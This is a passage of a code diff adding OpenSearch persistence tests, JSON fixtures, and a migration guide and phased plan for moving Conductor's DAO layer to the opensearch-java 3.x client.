Expression(is); + + System.out.println(expr); + nv = expr.getNameValue(); + assertNotNull(nv); + assertEquals("description", nv.getName().getName()); + assertEquals("IS", nv.getOp().getOperator()); + cv = nv.getValue(); + assertNotNull(cv); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NOT_NULL); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/TestGroupedExpression.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/TestGroupedExpression.java new file mode 100644 index 0000000..424fcb2 --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/TestGroupedExpression.java @@ -0,0 +1,24 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser; + +import org.junit.Test; + +/** + * @author Viren + */ +public class TestGroupedExpression { + + @Test + public void test() {} +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/AbstractParserTest.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/AbstractParserTest.java new file mode 100644 index 0000000..053b1eb --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/AbstractParserTest.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +/** + * @author Viren + */ +public abstract class AbstractParserTest { + + protected InputStream getInputStream(String expression) { + return new BufferedInputStream(new ByteArrayInputStream(expression.getBytes())); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestBooleanOp.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestBooleanOp.java new file mode 100644 index 0000000..a7790ac --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestBooleanOp.java @@ -0,0 +1,44 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestBooleanOp extends AbstractParserTest { + + @Test + public void test() throws Exception { + String[] tests = new String[] {"AND", "OR"}; + for (String test : tests) { + BooleanOp name = new BooleanOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } + } + + @Test(expected = ParserException.class) + public void testInvalid() throws Exception { + String test = "<"; + BooleanOp name = new BooleanOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestComparisonOp.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestComparisonOp.java new file mode 100644 index 0000000..2579894 --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestComparisonOp.java @@ -0,0 +1,44 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestComparisonOp extends AbstractParserTest { + + @Test + public void test() throws Exception { + String[] tests = new String[] {"<", ">", "=", "!=", "IN", "BETWEEN", "STARTS_WITH"}; + for (String test : tests) { + ComparisonOp name = new ComparisonOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } + } + + @Test(expected = ParserException.class) + public void testInvalidOp() throws Exception { + String test = "AND"; + ComparisonOp name = new ComparisonOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestConstValue.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestConstValue.java new file mode 100644 index 0000000..0627540 --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestConstValue.java @@ -0,0 +1,101 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import java.util.List; + +import org.junit.Test; + +import static org.junit.Assert.*; + +/** + * @author Viren + */ +public class TestConstValue extends AbstractParserTest { + + @Test + public void testStringConst() throws Exception { + String test = "'string value'"; + String expected = + test.replaceAll( + "'", "\""); // Quotes are removed but then the result is double quoted. + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(expected, cv.getValue()); + assertTrue(cv.getValue() instanceof String); + + test = "\"string value\""; + cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(expected, cv.getValue()); + assertTrue(cv.getValue() instanceof String); + } + + @Test + public void testSystemConst() throws Exception { + String test = "null"; + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertTrue(cv.getValue() instanceof String); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NULL); + test = "null"; + + test = "not null"; + cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NOT_NULL); + } + + @Test(expected = ParserException.class) + public void testInvalid() throws Exception { + String test = "'string value"; + new ConstValue(getInputStream(test)); + } + + @Test + public void testNumConst() throws Exception { + String test = "12345.89"; + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertTrue( + cv.getValue() + instanceof + String); // Numeric values are stored as string as we are just passing thru + // them to ES + assertEquals(test, cv.getValue()); + } + + @Test + public void testRange() throws Exception { + String test = "50 AND 100"; + Range range = new Range(getInputStream(test)); + assertEquals("50", range.getLow()); + assertEquals("100", range.getHigh()); + } + + @Test(expected = ParserException.class) + public void testBadRange() throws Exception { + String test = "50 AND"; + new Range(getInputStream(test)); + } + + @Test + public void testArray() throws Exception { + String test = "(1, 3, 'name', 'value2')"; + ListConst lc = new ListConst(getInputStream(test)); + List list = lc.getList(); + assertEquals(4, list.size()); + assertTrue(list.contains("1")); + assertEquals("'value2'", list.get(3)); // Values are preserved as it is... + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestName.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestName.java new file mode 100644 index 0000000..8c2b8cf --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestName.java @@ -0,0 +1,33 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestName extends AbstractParserTest { + + @Test + public void test() throws Exception { + String test = "metadata.en_US.lang "; + Name name = new Name(getInputStream(test)); + String nameVal = name.getName(); + assertNotNull(nameVal); + assertEquals(test.trim(), nameVal); + } +} diff --git a/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/utils/TestUtils.java b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/utils/TestUtils.java new file mode 100644 index 0000000..987f7aa --- /dev/null +++ b/os-persistence-v2/src/test/java/org/conductoross/conductor/os2/utils/TestUtils.java @@ -0,0 +1,76 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os2.utils; + +import org.apache.commons.io.Charsets; + +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.utils.IDGenerator; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.io.Resources; + +public class TestUtils { + + private static final String WORKFLOW_SCENARIO_EXTENSION = ".json"; + private static final String WORKFLOW_INSTANCE_ID_PLACEHOLDER = "WORKFLOW_INSTANCE_ID"; + + public static WorkflowSummary loadWorkflowSnapshot( + ObjectMapper objectMapper, String resourceFileName) { + try { + String content = loadJsonResource(resourceFileName); + String workflowId = new IDGenerator().generate(); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, WorkflowSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static TaskSummary loadTaskSnapshot(ObjectMapper objectMapper, String resourceFileName) { + try { + String content = loadJsonResource(resourceFileName); + String workflowId = new IDGenerator().generate(); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, TaskSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static TaskSummary loadTaskSnapshot( + ObjectMapper objectMapper, String resourceFileName, String workflowId) { + try { + String content = loadJsonResource(resourceFileName); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, TaskSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static String loadJsonResource(String resourceFileName) { + try { + return Resources.toString( + TestUtils.class.getResource( + "/" + resourceFileName + WORKFLOW_SCENARIO_EXTENSION), + Charsets.UTF_8); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } +} diff --git a/os-persistence-v2/src/test/resources/expected_template_task_log.json b/os-persistence-v2/src/test/resources/expected_template_task_log.json new file mode 100644 index 0000000..1b77d28 --- /dev/null +++ b/os-persistence-v2/src/test/resources/expected_template_task_log.json @@ -0,0 +1,24 @@ +{ + "index_patterns" : [ "*conductor_task*log*" ], + "priority" : 1, + "template" : { + "settings" : { + "refresh_interval" : "1s" + }, + "mappings" : { + "properties" : { + "createdTime" : { + "type" : "long" + }, + "log" : { + "type" : "text" + }, + "taskId" : { + "type" : "keyword", + "index" : true + } + } + }, + "aliases" : { } + } +} \ No newline at end of file diff --git a/os-persistence-v2/src/test/resources/task_summary.json b/os-persistence-v2/src/test/resources/task_summary.json new file mode 100644 index 0000000..a409a22 --- /dev/null +++ b/os-persistence-v2/src/test/resources/task_summary.json @@ -0,0 +1,17 @@ +{ + "taskId": "9dea4567-0240-4eab-bde8-99f4535ea3fc", + "taskDefName": "templated_task", + "taskType": "templated_task", + "workflowId": "WORKFLOW_INSTANCE_ID", + "workflowType": "template_workflow", + "correlationId": "testTaskDefTemplate", + "scheduledTime": "2021-08-22T05:18:25.121Z", + "startTime": "0", + "endTime": "0", + "updateTime": "2021-08-23T00:18:25.121Z", + "status": "SCHEDULED", + "workflowPriority": 1, + "queueWaitTime": 0, + "executionTime": 0, + "input": "{http_request={method=GET, vipStack=test_stack, body={requestDetails={key1=value1, key2=42}, outputPath=s3://bucket/outputPath, inputPaths=[file://path1, file://path2]}, uri=/get/something}}" +} \ No newline at end of file diff --git a/os-persistence-v2/src/test/resources/workflow_summary.json b/os-persistence-v2/src/test/resources/workflow_summary.json new file mode 100644 index 0000000..443d846 --- /dev/null +++ b/os-persistence-v2/src/test/resources/workflow_summary.json @@ -0,0 +1,12 @@ +{ + "workflowType": "template_workflow", + "version": 1, + "workflowId": "WORKFLOW_INSTANCE_ID", + "priority": 1, + "correlationId": "testTaskDefTemplate", + "startTime": 1534983505050, + "updateTime": 1534983505131, + "endTime": 0, + "status": "RUNNING", + "input": "{path1=file://path1, path2=file://path2, requestDetails={key1=value1, key2=42}, outputPath=s3://bucket/outputPath}" +} diff --git a/os-persistence-v3/MIGRATION_GUIDE.md b/os-persistence-v3/MIGRATION_GUIDE.md new file mode 100644 index 0000000..cfd4247 --- /dev/null +++ b/os-persistence-v3/MIGRATION_GUIDE.md @@ -0,0 +1,421 @@ +# OpenSearch Java Client 3.x Migration Guide + +## Overview + +This document guides the migration from OpenSearch High-Level REST Client (used in v2) to the new opensearch-java 3.x client (for v3). + +## Key API Changes + +### 1. Client Initialization + +**Old (v2):** +```java +import org.opensearch.client.RestHighLevelClient; +import org.opensearch.client.RestClient; + +RestHighLevelClient client = new RestHighLevelClient( + RestClient.builder(new HttpHost(host, port, "http")) +); +``` + +**New (v3):** +```java +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.json.jackson.JacksonJsonpMapper; +import org.opensearch.client.transport.OpenSearchTransport; +import org.opensearch.client.transport.rest_client.RestClientTransport; + +RestClient restClient = RestClient.builder(new HttpHost(host, port, "http")).build(); +OpenSearchTransport transport = new RestClientTransport(restClient, new JacksonJsonpMapper()); +OpenSearchClient client = new OpenSearchClient(transport); +``` + +### 2. Query Building + +**Old (v2):** +```java +import org.opensearch.index.query.QueryBuilder; +import org.opensearch.index.query.QueryBuilders; +import org.opensearch.index.query.BoolQueryBuilder; + +BoolQueryBuilder boolQuery = QueryBuilders.boolQuery() + .must(QueryBuilders.matchQuery("field", "value")) + .filter(QueryBuilders.rangeQuery("age").gte(18)); +``` + +**New (v3):** +```java +import org.opensearch.client.opensearch._types.query_dsl.Query; +import org.opensearch.client.opensearch._types.query_dsl.BoolQuery; + +Query query = Query.of(q -> q + .bool(b -> b + .must(m -> m.match(t -> t.field("field").query("value"))) + .filter(f -> f.range(r -> r.field("age").gte(JsonData.of(18)))) + ) +); +``` + +### 3. Index Operations + +**Old (v2):** +```java +import org.opensearch.action.index.IndexRequest; +import org.opensearch.action.index.IndexResponse; +import org.opensearch.common.xcontent.XContentType; + +IndexRequest request = new IndexRequest("index") + .id("1") + .source(jsonString, XContentType.JSON); + +IndexResponse response = client.index(request, RequestOptions.DEFAULT); +``` + +**New (v3):** +```java +import org.opensearch.client.opensearch.core.IndexRequest; +import org.opensearch.client.opensearch.core.IndexResponse; + +IndexResponse response = client.index(i -> i + .index("index") + .id("1") + .document(myObject) // Auto-serialized via Jackson +); +``` + +### 4. Search Operations + +**Old (v2):** +```java +import org.opensearch.action.search.SearchRequest; +import org.opensearch.action.search.SearchResponse; +import org.opensearch.search.builder.SearchSourceBuilder; +import org.opensearch.search.SearchHit; + +SearchSourceBuilder sourceBuilder = new SearchSourceBuilder() + .query(queryBuilder) + .from(0) + .size(10); + +SearchRequest searchRequest = new SearchRequest("index") + .source(sourceBuilder); + +SearchResponse response = client.search(searchRequest, RequestOptions.DEFAULT); +SearchHit[] hits = response.getHits().getHits(); +``` + +**New (v3):** +```java +import org.opensearch.client.opensearch.core.SearchRequest; +import org.opensearch.client.opensearch.core.SearchResponse; +import org.opensearch.client.opensearch.core.search.Hit; + +SearchResponse response = client.search(s -> s + .index("index") + .query(query) + .from(0) + .size(10), + MyDoc.class +); + +List> hits = response.hits().hits(); +``` + +### 5. Bulk Operations + +**Old (v2):** +```java +import org.opensearch.action.bulk.BulkRequest; +import org.opensearch.action.bulk.BulkResponse; + +BulkRequest bulkRequest = new BulkRequest(); +bulkRequest.add(new IndexRequest("index").id("1").source(...)); +bulkRequest.add(new DeleteRequest("index", "2")); + +BulkResponse response = client.bulk(bulkRequest, RequestOptions.DEFAULT); +``` + +**New (v3):** +```java +import org.opensearch.client.opensearch.core.BulkRequest; +import org.opensearch.client.opensearch.core.BulkResponse; +import org.opensearch.client.opensearch.core.bulk.BulkOperation; + +BulkResponse response = client.bulk(b -> b + .operations(op -> op.index(i -> i.index("index").id("1").document(doc))) + .operations(op -> op.delete(d -> d.index("index").id("2"))) +); +``` + +### 6. Delete Operations + +**Old (v2):** +```java +import org.opensearch.action.delete.DeleteRequest; +import org.opensearch.action.delete.DeleteResponse; + +DeleteRequest request = new DeleteRequest("index", "id"); +DeleteResponse response = client.delete(request, RequestOptions.DEFAULT); +``` + +**New (v3):** +```java +import org.opensearch.client.opensearch.core.DeleteRequest; +import org.opensearch.client.opensearch.core.DeleteResponse; + +DeleteResponse response = client.delete(d -> d + .index("index") + .id("id") +); +``` + +### 7. Get Operations + +**Old (v2):** +```java +import org.opensearch.action.get.GetRequest; +import org.opensearch.action.get.GetResponse; + +GetRequest request = new GetRequest("index", "id"); +GetResponse response = client.get(request, RequestOptions.DEFAULT); +String sourceAsString = response.getSourceAsString(); +``` + +**New (v3):** +```java +import org.opensearch.client.opensearch.core.GetRequest; +import org.opensearch.client.opensearch.core.GetResponse; + +GetResponse response = client.get(g -> g + .index("index") + .id("id"), + MyDoc.class +); +MyDoc document = response.source(); +``` + +### 8. Count Operations + +**Old (v2):** +```java +import org.opensearch.client.core.CountRequest; +import org.opensearch.client.core.CountResponse; + +CountRequest countRequest = new CountRequest("index") + .query(queryBuilder); + +CountResponse response = client.count(countRequest, RequestOptions.DEFAULT); +long count = response.getCount(); +``` + +**New (v3):** +```java +import org.opensearch.client.opensearch.core.CountRequest; +import org.opensearch.client.opensearch.core.CountResponse; + +CountResponse response = client.count(c -> c + .index("index") + .query(query) +); +long count = response.count(); +``` + +## Common Patterns + +### Pattern 1: String-based JSON Source → Typed Documents + +**Old:** Frequently used string JSON +```java +.source(jsonString, XContentType.JSON) +``` + +**New:** Use typed POJOs +```java +.document(myTypedObject) // Jackson handles serialization +``` + +### Pattern 2: Imperative Builder → Functional Builder + +**Old:** Imperative chaining +```java +BoolQueryBuilder query = QueryBuilders.boolQuery(); +query.must(QueryBuilders.matchQuery("field", "value")); +query.filter(QueryBuilders.rangeQuery("age").gte(18)); +``` + +**New:** Functional lambda builders +```java +Query query = Query.of(q -> q.bool(b -> b + .must(m -> m.match(t -> t.field("field").query("value"))) + .filter(f -> f.range(r -> r.field("age").gte(JsonData.of(18)))) +)); +``` + +### Pattern 3: XContentType → JsonData + +**Old:** +```java +import org.opensearch.common.xcontent.XContentType; +.source(jsonBytes, XContentType.JSON) +``` + +**New:** +```java +import org.opensearch.client.json.JsonData; +.document(JsonData.of(value)) // For raw JSON +``` + +## Migration Steps for OpenSearchRestDAO + +### Step 1: Update Dependencies (DONE) +```gradle +implementation 'org.opensearch.client:opensearch-java:3.0.0' +implementation "org.opensearch.client:opensearch-rest-client:3.0.0" +implementation "org.opensearch.client:opensearch-rest-high-level-client:3.0.0" // Keep for transition +``` + +### Step 2: Update Client Initialization + +**File:** `OpenSearchRestDAO.java` constructor + +**Change:** +```java +// Remove: +private final RestHighLevelClient openSearchClient; + +// Add: +private final OpenSearchClient openSearchClient; +private final RestClient restClient; + +// Update constructor to build new client +``` + +### Step 3: Migrate Query Builder Methods + +**Method to migrate:** `boolQueryBuilder(String structuredQuery, String freeTextQuery)` + +**Current signature:** +```java +private QueryBuilder boolQueryBuilder(String structuredQuery, String freeTextQuery) +``` + +**New signature:** +```java +private Query boolQuery(String structuredQuery, String freeTextQuery) +``` + +**Implementation changes:** +- Replace `QueryBuilders.*` with lambda builders +- Return `Query` instead of `QueryBuilder` +- Use functional composition instead of imperative building + +### Step 4: Migrate Search Methods + +Methods to update: +- `searchObjectsViaExpression()` +- `searchObjects()` +- `searchWorkflowSummary()` +- `searchTaskSummary()` + +**Key changes:** +- Replace `SearchRequest` import (old → new package) +- Replace `SearchSourceBuilder` with lambda builders +- Update response handling (`SearchHits` → `hits().hits()`) +- Add generic type parameters (`SearchResponse`) + +### Step 5: Migrate Index/Update Methods + +Methods to update: +- `indexObject()` +- `updateObject()` +- `addTaskExecutionLogs()` + +**Key changes:** +- Use lambda builders for `IndexRequest` +- Replace `XContentType.JSON` with typed documents +- Update response handling + +### Step 6: Migrate Delete Methods + +Methods to update: +- `deleteObject()` +- `asyncBulkDelete()` + +### Step 7: Migrate Bulk Operations + +Methods to update: +- `bulkIndexObjects()` +- `asyncBulkIndexObjects()` + +**Major changes needed:** +- Replace `BulkRequest.add()` with lambda builders +- Use `BulkOperation` for each operation +- Update `BulkProcessor` initialization (if used) + +### Step 8: Fix Sorting + +**Old:** +```java +import org.opensearch.search.sort.FieldSortBuilder; +import org.opensearch.search.sort.SortOrder; + +searchSourceBuilder.sort(new FieldSortBuilder(field).order(order)); +``` + +**New:** +```java +import org.opensearch.client.opensearch._types.SortOrder; + +.sort(s -> s.field(f -> f.field(fieldName).order(sortOrder))) +``` + +### Step 9: Update Exception Handling + +**Old:** +```java +catch (IOException e) { + // Handle +} +``` + +**New:** Same, but also handle: +```java +catch (OpenSearchException e) { + // New exception types from opensearch-java client +} +``` + +## Testing Strategy + +1. **Unit tests first** + - Test query building in isolation + - Test serialization/deserialization + - Mock the OpenSearchClient + +2. **Integration tests** + - Use OpenSearch Testcontainers + - Test against real OpenSearch 3.x instance + - Verify results match v2 behavior + +3. **Side-by-side comparison** + - Run same workflows on v2 and v3 + - Compare indexed documents + - Compare search results + +## Estimated Effort + +- **Step 1-2:** Client setup - 2 hours +- **Step 3:** Query builders - 4 hours +- **Step 4:** Search methods - 8 hours +- **Step 5-7:** CRUD operations - 8 hours +- **Step 8-9:** Sorting, exceptions - 2 hours +- **Testing:** 8 hours +- **Buffer for unknowns:** 8 hours + +**Total:** ~40 hours (1 week for experienced dev, 2 weeks with testing/review) + +## References + +- [OpenSearch Java Client Documentation](https://opensearch.org/docs/latest/clients/java/) +- [OpenSearch Java Client GitHub](https://github.com/opensearch-project/opensearch-java) +- [Migration Guide from Elasticsearch](https://opensearch.org/docs/latest/clients/java/#migrating-from-the-elasticsearch-java-client) diff --git a/os-persistence-v3/MIGRATION_PLAN.md b/os-persistence-v3/MIGRATION_PLAN.md new file mode 100644 index 0000000..642506d --- /dev/null +++ b/os-persistence-v3/MIGRATION_PLAN.md @@ -0,0 +1,294 @@ +# OpenSearch v3 Migration Implementation Plan + +## Goal +Migrate os-persistence-v3 from OpenSearch High-Level REST Client to opensearch-java 3.x client. + +## Current Status +- ✅ Module structure created +- ✅ Dependencies configured +- ✅ Config classes updated (OpenSearchProperties, OpenSearchConditions) +- ❌ DAO layer still uses old API (77+ compilation errors) +- ❌ Query builders not migrated + +## Migration Approach + +**Strategy:** Incremental migration in small, testable commits. + +Each commit should: +1. Compile successfully +2. Pass existing tests +3. Be reviewable independently + +## Phase 1: Foundation (Days 1-2) + +### Commit 1: Client Infrastructure +**File:** `OpenSearchRestDAO.java` (constructor + client init) + +**Tasks:** +- [ ] Add new `OpenSearchClient` field +- [ ] Keep old `RestHighLevelClient` temporarily (dual-client mode) +- [ ] Add client initialization in constructor +- [ ] Add Jackson JSON mapper setup +- [ ] Add client close() method + +**Test:** Verify server starts without errors + +### Commit 2: Query Builder Abstraction +**New file:** `QueryHelper.java` + +**Tasks:** +- [ ] Create helper class for query building +- [ ] Implement `buildBoolQuery(String structured, String freeText)` → returns `Query` +- [ ] Implement `buildMatchQuery(String field, String value)` → returns `Query` +- [ ] Implement `buildRangeQuery(String field, Object from, Object to)` → returns `Query` +- [ ] Add unit tests for query building + +**Test:** Unit tests pass + +## Phase 2: Search Operations (Days 3-4) + +### Commit 3: Core Search Method +**File:** `OpenSearchRestDAO.java` (new method) + +**Tasks:** +- [ ] Create NEW method: `searchObjectsV3(...)` using new client +- [ ] Implement query building with lambda builders +- [ ] Implement sorting with new API +- [ ] Implement pagination +- [ ] Map results to `SearchResult` + +**Test:** Add integration test comparing v2 vs v3 search results + +### Commit 4: Migrate Search Methods (One at a Time) +**Files:** `OpenSearchRestDAO.java` + +**Order:** +1. [ ] `searchObjectsViaExpression()` - use `searchObjectsV3()` +2. [ ] `searchWorkflowSummary()` - use `searchObjectsV3()` +3. [ ] `searchTaskSummary()` - use `searchObjectsV3()` + +**Test:** Integration tests pass for each method + +### Commit 5: Count Operation +**File:** `OpenSearchRestDAO.java` + +**Tasks:** +- [ ] Create `countDocuments(String index, Query query)` helper +- [ ] Update all count operations to use new method +- [ ] Fix `CountResponse.count()` vs old `getCount()` + +**Test:** Count queries return correct values + +## Phase 3: Index Operations (Days 5-6) + +### Commit 6: Index/Update Operations +**File:** `OpenSearchRestDAO.java` + +**Tasks:** +- [ ] Create `indexDocumentV3(String index, String id, Object doc)` helper +- [ ] Migrate `indexObject()` to use new method +- [ ] Migrate `updateObject()` to use new method +- [ ] Handle async updates + +**Test:** Document indexing works correctly + +### Commit 7: Delete Operations +**File:** `OpenSearchRestDAO.java` + +**Tasks:** +- [ ] Create `deleteDocumentV3(String index, String id)` helper +- [ ] Migrate `deleteObject()` to use new method + +**Test:** Document deletion works correctly + +### Commit 8: Bulk Operations +**File:** `OpenSearchRestDAO.java` + +**Tasks:** +- [ ] Create `BulkHelper.java` for bulk operation building +- [ ] Migrate `bulkIndexObjects()` to use lambda builders +- [ ] Migrate `asyncBulkIndexObjects()` to use lambda builders +- [ ] Update `BulkProcessor` initialization (if needed) + +**Test:** Bulk operations work correctly + +## Phase 4: Specialized Operations (Day 7) + +### Commit 9: Task Logs +**File:** `OpenSearchRestDAO.java` + +**Tasks:** +- [ ] Migrate `addTaskExecutionLogs()` to new API +- [ ] Migrate `getTaskExecutionLogs()` to new API + +**Test:** Task logs index and retrieve correctly + +### Commit 10: Event Messages +**File:** `OpenSearchRestDAO.java` + +**Tasks:** +- [ ] Migrate `addMessage()` to new API +- [ ] Migrate `getMessages()` to new API + +**Test:** Event messages work correctly + +## Phase 5: Cleanup & Optimization (Day 8) + +### Commit 11: Remove Old Client +**File:** `OpenSearchRestDAO.java` + +**Tasks:** +- [ ] Remove `RestHighLevelClient` field +- [ ] Remove dual-client code paths +- [ ] Clean up unused imports +- [ ] Remove old API dependencies from build.gradle (if possible) + +**Test:** All tests still pass + +### Commit 12: Query Parser Migration +**Files:** `os3/dao/query/parser/**/*.java` + +**Tasks:** +- [ ] Update `Expression.java` to use `Query` instead of `QueryBuilder` +- [ ] Update `NameValue.java` query building +- [ ] Update `GroupedExpression.java` query building +- [ ] Fix `FilterProvider` interface + +**Test:** Query parsing works correctly + +### Commit 13: Spotless & Documentation +**Tasks:** +- [ ] Run Spotless formatting +- [ ] Update JavaDocs to reference new API +- [ ] Update README with migration notes +- [ ] Update build.gradle comments + +**Test:** Build passes with no warnings + +## Phase 6: Testing & Validation (Days 9-10) + +### Commit 14: Integration Test Suite +**New file:** `OpenSearchRestDAOV3IntegrationTest.java` + +**Tasks:** +- [ ] Test all CRUD operations +- [ ] Test search with complex queries +- [ ] Test bulk operations +- [ ] Test sorting and pagination +- [ ] Test task logs +- [ ] Test event messages +- [ ] Compare results with v2 + +**Test:** All integration tests pass + +### Commit 15: Side-by-Side Comparison +**New file:** `os-persistence-v3/src/test/resources/comparison-tests.json` + +**Tasks:** +- [ ] Run test workflows on both v2 and v3 +- [ ] Compare indexed documents +- [ ] Compare search results +- [ ] Document any differences + +**Test:** No behavioral differences detected + +## Detailed Work Breakdown + +### Critical Files to Modify + +1. **OpenSearchRestDAO.java** (~1343 lines) + - Core DAO implementation + - ~25 methods to migrate + - Estimated: 20 hours + +2. **Query Parser Files** (~300 lines total) + - `Expression.java` + - `NameValue.java` + - `GroupedExpression.java` + - `FilterProvider.java` + - Estimated: 4 hours + +3. **Helper Classes** (new) + - `QueryHelper.java` (query building) + - 